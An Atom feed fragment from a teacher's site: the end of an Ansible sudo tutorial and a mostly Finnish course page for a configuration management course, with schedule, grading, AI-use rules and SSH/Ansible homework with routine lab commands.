&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;- hosts: all&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;  become: true&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;  roles:&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;    - apt&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;    - sshd&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;	# ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now it will probably complain it does not know your sudo password.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;ansible-playbook&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; site.yml&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; --&lt;/span&gt;ask-become-pass&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now it asks your sudo password before running the commands.&lt;/p&gt;
&lt;p&gt;If you get tired of typing your sudo password, there are many ways around it, with different levels of security. For example, you can create an ansible specific user with passwordless sudo. Or use ansible vault. Or pass. Or even read sudo password from file, which sounds less than secure.&lt;/p&gt;
</content>
  </entry>

  <entry>
    <title>Palvelinten Hallinta</title>
    <link href="https://terokarvinen.com/palvelinten-hallinta/"/>
    <id>https://terokarvinen.com/palvelinten-hallinta/</id>
    <published>2026-03-26T09:52:00+02:00</published>
    <updated>2026-03-26T09:52:00+02:00</updated>
    <content type="html">&lt;div lang=&quot;en&quot;&gt;
&lt;p&gt;Control &lt;del&gt;10&lt;/del&gt;, &lt;del&gt;100&lt;/del&gt;, &lt;del&gt;1000&lt;/del&gt; many computers.&lt;/p&gt;
&lt;p&gt;Or control 2071 computers, like Jussi did on a earlier course. Or handle 7 different operating systems and OS versions with a single master, like Matias.&lt;/p&gt;
&lt;p&gt;Best instance got 5.0 / 5 feedback - all respondents gave the best grade 5.&lt;/p&gt;
&lt;/div&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Course, both instances&lt;/th&gt;&lt;th&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Course name and code&lt;/td&gt;&lt;td&gt;Palvelinten hallinta &lt;a href=&quot;https://opinto-opas.haaga-helia.fi/course_unit/ICI001AS3A&quot;&gt;ICI001AS3A&lt;/a&gt;-&lt;strong&gt;3011&lt;/strong&gt; and &lt;em&gt;-3013&lt;/em&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Timing&lt;/td&gt;&lt;td&gt;2026 period 4, &lt;strong&gt;late spring&lt;/strong&gt;, w13-w20&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Credits&lt;/td&gt;&lt;td&gt;5 cr&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Language&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Finnish&lt;/strong&gt; (+reading material in English)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Feedback&lt;/td&gt;&lt;td&gt;Reached 5.0 / 5 * &lt;strong&gt;&lt;a href=&quot;https://terokarvinen.com/palvelinten-hallinta/#comments&quot;&gt;Excellent feedback&lt;/a&gt;&lt;/strong&gt; &lt;img src=&quot;https://terokarvinen.com/img/five-stars-15.png&quot; width=&quot;85&quot; height=&quot;15&quot; alt=&quot;Five star experience&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Classes&lt;/td&gt;&lt;td&gt;-3011 online ke 17:40-20:30. -3013 pa5001 to 11:00-13:45. Both have mandatory participation.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Max students&lt;/td&gt;&lt;td&gt;50 online, 40 Pasila. (Come to the first class if you&#39;re queuing for place)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Remote&lt;/td&gt;&lt;td&gt;One course instance -3011 is fully remote. Other -3013 is face-to-face in Pasila pa5001.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;First class&lt;/td&gt;&lt;td&gt;Online-3011 2026-03-25 w13 Wed 17:40 Zoom. Pasila-3013 2026-03-26 w13 Thu 11:00 pa5001, bring laptop.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Services&lt;/td&gt;&lt;td&gt;Moodle: Palvelinten hallinta &lt;a href=&quot;https://hhmoodle.haaga-helia.fi/course/view.php?id=45174&quot;&gt;-3011 online Wednesday evening&lt;/a&gt;; &lt;a href=&quot;https://hhmoodle.haaga-helia.fi/course/view.php?id=45176&quot;&gt;-3013 Thursday&lt;/a&gt;, Zoom, Laksu. Optional: &lt;a href=&quot;https://terokarvinen.com/newsletter/&quot;&gt;Tero&#39;s list&lt;/a&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;I&#39;ve done some research on configuration management systems. I have written my doctoral dissertation on applying malware command and control techniques to benign configuration management systems. I&#39;ve given an invited speech in IEEE ICIM Chengdu and a plenary speech in IEEE ICIM Oxford; I’ve also been teaching these modern methods to companies. Previous feedback for this course has been from very good 4.3 to excellent &lt;del&gt;4.9&lt;/del&gt; 5.0 out of 5.&lt;/p&gt;
&lt;p&gt;As the course is in Finnish, the rest of this page will be in Finnish.&lt;/p&gt;
&lt;h2 id=&quot;opintojakson-suoritettuaan-opiskelija&quot;&gt;Opintojakson suoritettuaan opiskelija &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#opintojakson-suoritettuaan-opiskelija&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Osaa hallita palvelimia kuvailemalla tavoitetilan (idempotenssi)&lt;/li&gt;
&lt;li&gt;Osaa tehdä asetukset pelkkänä tekstinä ja versioitavasti (infrastruktuuri koodina)&lt;/li&gt;
&lt;li&gt;Pystyy tekemään tavalliset ylläpitotoimet valitulla työkalulla (yksi totuus)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;esitiedot&quot;&gt;Esitiedot &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#esitiedot&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Esitiedot, kertaa nämä.&lt;/p&gt;
&lt;p&gt;Opettele komennot ja hakemistot ulkoa. Harjoittele niitä kokeilemalla moneen kertaan Linuxissa.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Linuxin komennot, apt &lt;a href=&quot;http://terokarvinen.com/2020/command-line-basics-revisited/&quot;&gt;Command Line Basics Revisited&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Tiedostojärjestelmän rakenne (etc, var…). Alkeet löytyvät samasta &lt;a href=&quot;http://terokarvinen.com/2020/command-line-basics-revisited/&quot;&gt;Command Line Basics Revisited&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Demonien hallinta (esim Apache) &lt;a href=&quot;http://terokarvinen.com/2008/05/02/install-apache-web-server-on-ubuntu-4/index.html&quot;&gt;Install Apache Web Server on Ubuntu&lt;/a&gt; (paitsi demonin potkaisu nykyisin &#39;sudo systemctl restart apache2&#39;)&lt;/li&gt;
&lt;li&gt;Linuxin asentaminen virtuaalikoneeseen&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span id=&quot;alustava-aikataulu&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id=&quot;aikataulu&quot;&gt;Aikataulu &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#aikataulu&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Kurssi kestää 8 viikkoa. Edellyttää aktiivista osallistumista etäopetukseen videokonfferensissa lukkariin merkittynä aikana. Läksyt palautetaan 24 h ennen seuraavan oppitunnin alkua ja ristiinarvioidaan kahden luokkakaverin työt. Tämä alustava aikataulu elää kurssin aikana.&lt;/p&gt;
&lt;p&gt;Tunnit tiistaisin online 08:00 - 10:45 videokonfferenssina.&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Päivä&lt;/th&gt;&lt;th&gt;Aihe&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Perusteet&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;w13&lt;/td&gt;&lt;td&gt;1. &lt;strong&gt;Hei maailma&lt;/strong&gt;. Järjestäytyminen: osallistujat, kurssin käytänteet. Keskitetyn hallinnan periaateet, infra koodina. Raportit, git web-käyttö, MarkDown kertaus. Hei maailma!&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;w14&lt;/td&gt;&lt;td&gt;2. &lt;strong&gt;Infraa koodina&lt;/strong&gt;. Konfiguraation kirjoittaminen koodiksi.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;w15&lt;/td&gt;&lt;td&gt;3. &lt;strong&gt;Pkg-file-service&lt;/strong&gt; eli demonien hallinta. Käsin tehdyn konfiguraation automatisointi.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;w16&lt;/td&gt;&lt;td&gt;4. &lt;strong&gt;Esimerkkipalvelin&lt;/strong&gt;. Käytännön esimerkki palvelimen konfiguroinnista.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;w17&lt;/td&gt;&lt;td&gt;5. &lt;strong&gt;Versionhallinta&lt;/strong&gt;. Git: init, clone, add, commit, pull, push, log. GitHub ja muut avustavat palvelut. &lt;strong&gt;Omien modulien aloitus.&lt;/strong&gt;, 2 hengen ryhmät.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Soveltaminen&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;w18&lt;/td&gt;&lt;td&gt;6. &lt;strong&gt;Soveltaminen&lt;/strong&gt;. Käytännön tekniikoita ja esimerkkejä. Ongelmanratkaisua. / Torstain ryhmällä omien modulien esittely alkaa.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;w19&lt;/td&gt;&lt;td&gt;7. &lt;strong&gt;Omien modulien esittely&lt;/strong&gt; I.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;w20&lt;/td&gt;&lt;td&gt;8. &lt;strong&gt;Omien modulien esittely&lt;/strong&gt; II. (2026-05-14 w20 Thu on Helatorstai, torstain ryhmällä ei tuntia. Keskiviikon ryhmän online-opetus normaalisti.)&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h2 id=&quot;oheismateriaalia-lukemista-ja-asennuspaketteja&quot;&gt;Oheismateriaalia, lukemista ja asennuspaketteja &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#oheismateriaalia-lukemista-ja-asennuspaketteja&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Debian stable 13-trixie levykuva &lt;a href=&quot;https://cdimage.debian.org/debian-cd/current-live/amd64/iso-hybrid/debian-live-13.4.0-amd64-xfce.iso&quot;&gt;debian-live-13.4.0-amd64-xfce.iso&lt;/a&gt; (3.6 GB) Kun uusia versioita tulee, linkki vanhenee. Uusi löytyy &lt;a href=&quot;https://cdimage.debian.org/debian-cd/current-live/amd64/iso-hybrid/&quot;&gt;samasta kansiosta&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Karvinen 2021: &lt;a href=&quot;https://terokarvinen.com/2021/install-debian-on-virtualbox/&quot;&gt;Install Debian on Virtualbox&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Karvinen 2023: &lt;a href=&quot;https://terokarvinen.com/2023/create-a-web-page-using-github/&quot;&gt;Create a Web Page Using Github&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.virtualbox.org/&quot;&gt;VirtualBox.org&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Karvinen 2020: &lt;a href=&quot;https://terokarvinen.com/2020/command-line-basics-revisited/&quot;&gt;Command Line Basics Revisited&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.ansible.com/projects/ansible/latest/&quot;&gt;Ansible Community Documentation&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Salo ym 2026: &lt;a href=&quot;https://github.com/tommi-vsalo/BlueTeamLab&quot;&gt;BlueTeamLab&lt;/a&gt;. Käynnissä olevassa projektissa rakennetaan SOC-harjoitusympäristöä. Linux, Windows, AD. OpenTofu, Ansible. VirtualBoxia ohjataan OpenTofulla.&lt;/p&gt;
&lt;h2 id=&quot;arviointi&quot;&gt;Arviointi &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#arviointi&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Osien ohjeelliset painoarvot ovat: kotitehtävät 70% ja oma moduli 30%. Arvosana perustuu kokonaisarvioon suorituksista. Kaikki kotitehtävät pitää tehdä ajallaan. Etäopetukseen pitää osallistua aktiivisesti.&lt;/p&gt;
&lt;h2 id=&quot;anna-palautetta&quot;&gt;Anna palautetta &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#anna-palautetta&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Palaute on todella tärkeä tapa kehittää kurssia – kiitos kommenteista jo etukäteen. Palaute kahteen kanavaan&lt;/p&gt;
&lt;h3 id=&quot;1-vapaamuotoinen-palaute-kommenttina-taman-kurssisivun-peraan&quot;&gt;1) Vapaamuotoinen palaute kommenttina tämän kurssisivun perään &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#1-vapaamuotoinen-palaute-kommenttina-taman-kurssisivun-peraan&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/palvelinten-hallinta/#comments&quot;&gt;Vapaamuotoinen palaute kommenttina tämän kurssisivun perään&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Vapaamuotoiseen palautteeseen saa kirjoittaa mitä vain, eikä kysymyksiä tarvitse toistaa. Mutta tässä vinkiksi:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Opitko jotakin – eli osaatko nyt sellaista, mitä et osannut ennen kurssia?&lt;/li&gt;
&lt;li&gt;Teitkö jotain ensimmäistä kertaa? Käytit modernia hallintatyökalua (Ansible tms), kirjoitit idempotentin tilan, kirjoitit infraa koodina...&lt;/li&gt;
&lt;li&gt;Oliko opittu hyödyllistä? Luuletko, että voit hyödyntää infraa koodina töissä tai kotona?&lt;/li&gt;
&lt;li&gt;Mitä mieltä olit läksyistä? Luku/video/podcast -materiaalista? Hands-on tehtävistä?&lt;/li&gt;
&lt;li&gt;Mitä pidät miniprojektin valmistelusta ja (tulevista) esityksistä? Itse esittämisestä? Luokkakavereiden esitysten seuraamisesta?&lt;/li&gt;
&lt;li&gt;Miten voisin parantaa kurssia?&lt;/li&gt;
&lt;li&gt;Viihdyitkö kurssilla?&lt;/li&gt;
&lt;li&gt;Suosittelisitko kurssia? Kenelle kurssi sopisi? Koulutoverille tai kollegalle?&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;2-numeerinen-palaute-haaga-helian-palautejarjestelmaan-mynetissa&quot;&gt;2) Numeerinen palaute Haaga-Helian palautejärjestelmään MyNetissa &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#2-numeerinen-palaute-haaga-helian-palautejarjestelmaan-mynetissa&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Numeerinen palaute &lt;a href=&quot;https://mynet.haaga-helia.fi&quot;&gt;Haaga-Helian palautejärjestelmään MyNetissa&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Numeerisen palautteen avulla mm. verrataan Haaga-Helian kursseja toisiinsa. On tärkeää saada jokaiselta palaute, jotta tulos on tilastollisesti merkitsevä.&lt;/p&gt;
&lt;p&gt;Numeeriset: Asteikko 1-välttävä (huonoin) ... 5-kiitettävä (paras)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Oma aktiivisuutesi opiskelussa        1-5&lt;/li&gt;
&lt;li&gt;Osaamistavoitteiden saavuttaminen     1-5&lt;/li&gt;
&lt;li&gt;Työskentelytavat tukivat oppimista    1-5&lt;/li&gt;
&lt;li&gt;Opiskeluympäristö tuki oppimista      1-5&lt;/li&gt;
&lt;li&gt;Hyödyllisyys työelämään               1-5&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Avoimet kysymykset (näihin voi myös kopioida samat vastaukset jotka kirjoitit aiemmin)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Mitkä asiat edistivät oppimistasi?&lt;/li&gt;
&lt;li&gt;Miten kehittäisit toteutusta / toteutuskokonaisuutta, jotta osaamistavoitteet saavutettaisiin paremmin?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Kokonaisarviosi toteutuksesta / toteutuskokonaisuudesta 1-5&lt;/p&gt;
&lt;p&gt;Suosittelisitko 1 - 10 (1 en varmasti, 10 aion varmasti suositella tai olen jo suositellut)&lt;/p&gt;
&lt;p&gt;Kiitos palautteesta ja jännittävästä kurssista! Seuraavilla kursseilla nähdään.&lt;/p&gt;
&lt;h2 id=&quot;vanhoja-toteutuksia&quot;&gt;Vanhoja toteutuksia &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#vanhoja-toteutuksia&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2025/palvelinten-hallinta--ici001as3a-3008--2025&quot;&gt;Palvelinten hallinta ICI001AS3A-3008 - 2025p2 loppusyksy&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2024/palvelinten-hallinta-2024p2/&quot;&gt;Palvelinten hallinta ICI001AS3A-3010 - 2024 periodi 2, loppusyksy&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/search/?q=palvelinten+hallinta&quot;&gt;Vanhoja toteutuksia vuoteen 2018 asti&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;laksyt&quot;&gt;Läksyt &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#laksyt&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Palautus 24 h ennen seuraavaa lukujärjestykseen merkittyä aikaa. Weppisivulle (HTML), ja palauta linkki Laksuun. Halutessasi voit laittaa linkin myös kommentiksi tämän sivun perään, niin sivusi saa lisää kävijöitä ja nousee PageRankissa.&lt;/p&gt;
&lt;p&gt;Nämä läksyt ovat alustavia. Läksyt ovat virallisia vasta, kun ne on annettu tunnilla. Tämä on edistynyt kurssi, joten pystymme tekemään muutoksia kurssin kuluessa ja sovittamaan läksyt aiheen mukaan. Jos et uskalla tai muuten halua julkaista, voit laittaa weppisivun salasanan taakse (sama salasana koko kurssille ja jokaiselle tehtävälle, ei kirjautumista eri tunnuksilla eri henkilöille) ja jakaa salasanan kurssilaisten kanssa - mutta suosittelen julkaisua. Kotisivutilaa saa esim wordpress.com, github.com, gitlab.com ja monista muista paikoista.&lt;/p&gt;
&lt;p&gt;Suosittu ja helppo tapa on &lt;a href=&quot;https://terokarvinen.com/2023/create-a-web-page-using-github/&quot;&gt;laittaa raportit Githubiin&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Kaikki käytetyt lähteet tulee merkitä raporttiin: kurssin tehtäväsivu, kurssikavereiden raportit, man-sivut, kirjat. Mikäli tekoälyltä kysyy neuvoa, se on merkittävä lähteeksi. Tekoälyt hallusinoivat, tiedot on suositeltavaa tarkistaa. Tiivistelmiä tai esseitä ei saa generoida tekoälyllä eikä muilla vastaavilla tekniikoilla, vaan ne on kirjoitettava itse.&lt;/p&gt;
&lt;p&gt;Kaikkien ajan säästämiseksi poistan kurssilta ne, jotka eivät palauta tehtäviä ajallaan.&lt;/p&gt;
&lt;p&gt;Tekoälyn käyttö: Tällä kurssilla on samat AI säännöt kuin YAMK:n kurssillani: &quot;AI and large language models (LLM): You can ask AI or LLM a question and use the answer as facts for your own answer, written in your own words. AI must be marked as a reference, with details such as prompt (and for advanced users system prompts, temperature, jailbreaks...). LLMs tend to hallucinate, so you should check answers from more reliable sources. It&#39;s not allowed to generate text with AI or similar technologies. For example, it&#39;s not allowed to generate essay answers or summaries with AI, LLM or similar technologies.&quot;&lt;/p&gt;
&lt;h3 id=&quot;h1-hei-ansiblen-maailma&quot;&gt;h1 Hei Ansiblen maailma &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#h1-hei-ansiblen-maailma&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Hei maailma! Yleensä kaikki ohjelmat alkavat siitä. Hei maailma testaa, että ympäristö toimii.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Tässä kotitehtävässä harjoitellaan itse tunnilla kurkattuja ja osin kokeiltuja juttuja, jotta tehtävistä ei tule liian vaikeita. Jos olet aiemmin tehnyt nämä, voit simuloida puhtaan tilanteen - näin tehdään myöhemmin myös IaC-koodeja testatessa. Voit esimerkiksi pysäyttää ja poistaa ssh-demonin, poistaa authorized_keys... Katso vinkit alla.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva. Ei siis vaadita pitkää eikä essee-muotoista tiivistelmää. Lisää kuhunkin jokin oma kysymys tai huomio.)
&lt;ul&gt;
&lt;li&gt;Karvinen 2026: &lt;a href=&quot;https://terokarvinen.com/ssh-public-key-login-without-password/&quot;&gt;SSH public key - Login without password&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Karvinen 2026: &lt;a href=&quot;https://terokarvinen.com/hello-ansible/&quot;&gt;Hello Ansible&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Sshecrets. Asenna SSH-demoni ja testaa se kirjautumalla SSH:lla.&lt;/li&gt;
&lt;li&gt;b) Pubkey. Automatisoi ssh-kirjautuminen julkisella avaimella.&lt;/li&gt;
&lt;li&gt;c) Hei Ansible. Tee hei maailma ansiblella ja kokeile sitä SSH:n yli.&lt;/li&gt;
&lt;li&gt;d) Vapaaehtoinen bonus, vaikea: kokeile Ansiblella jokin näista asetuksista: paketin asennus, asetustiedosto /etc/ alle, käynnistä jokin demoni, tee uusi käyttäjä. Tarvitset todennäköisesti sudoa, become: true.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Kuten aina, palauta linkki Laksuun, ristiinarvioi vähintään 2.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Vinkit&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;(Komennot alla ulkomuistista)&lt;/p&gt;
&lt;p&gt;SSH-demonin poistaminen asennuskokeilua varten. Tämän voi tehdä localhost:lla. Älä tee etänä palvelimelle, tai yhteytesi katkeaa.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; systemctl stop ssh&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; apt-get purge openssh-server&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Julkisen avaimen poistaminen&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;remote$ mv -v $HOME/.ssh/authorized_keys $HOME/DISABLED_authorized_keys
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ansiblen asetukset voit vaan tehdä uuteen kansioon ja ajaa sieltä.&lt;/p&gt;
&lt;p&gt;Testaamatta == tekemättä. Kun asennat tai säädät jotain, osoita testillä, että se toimii.&lt;/p&gt;
&lt;p&gt;Eikö toimi? Raportoi erityisen tarkasti, jotta voimme pähkiä sitä tunnilla yhdessä. Myös tarkat virheilmoitukset talteen.&lt;/p&gt;
&lt;h3 id=&quot;h2-voileipa&quot;&gt;h2 Voileipä &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#h2-voileipa&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/palvelinten-hallinta/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;figure class=&quot;right&quot; style=&quot;max-width: 179px&quot;&gt;
&lt;a href=&quot;https://terokarvinen.com/palvelinten-hallinta/sudo-logo.w1370.h64430d4b.png&quot; class=&quot;lightbox&quot;&gt;&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/palvelinten-hallinta/sudo-logo.w480.h64430d4b.avif 480w, https://terokarvinen.com/palvelinten-hallinta/sudo-logo.w800.h64430d4b.avif 800w, https://terokarvinen.com/palvelinten-hallinta/sudo-logo.w1200.h64430d4b.avif 1200w, https://terokarvinen.com/palvelinten-hallinta/sudo-logo.w1370.h64430d4b.avif 1370w&quot; sizes=&quot;(max-width: 179px) 100vw, 179px&quot;&gt;
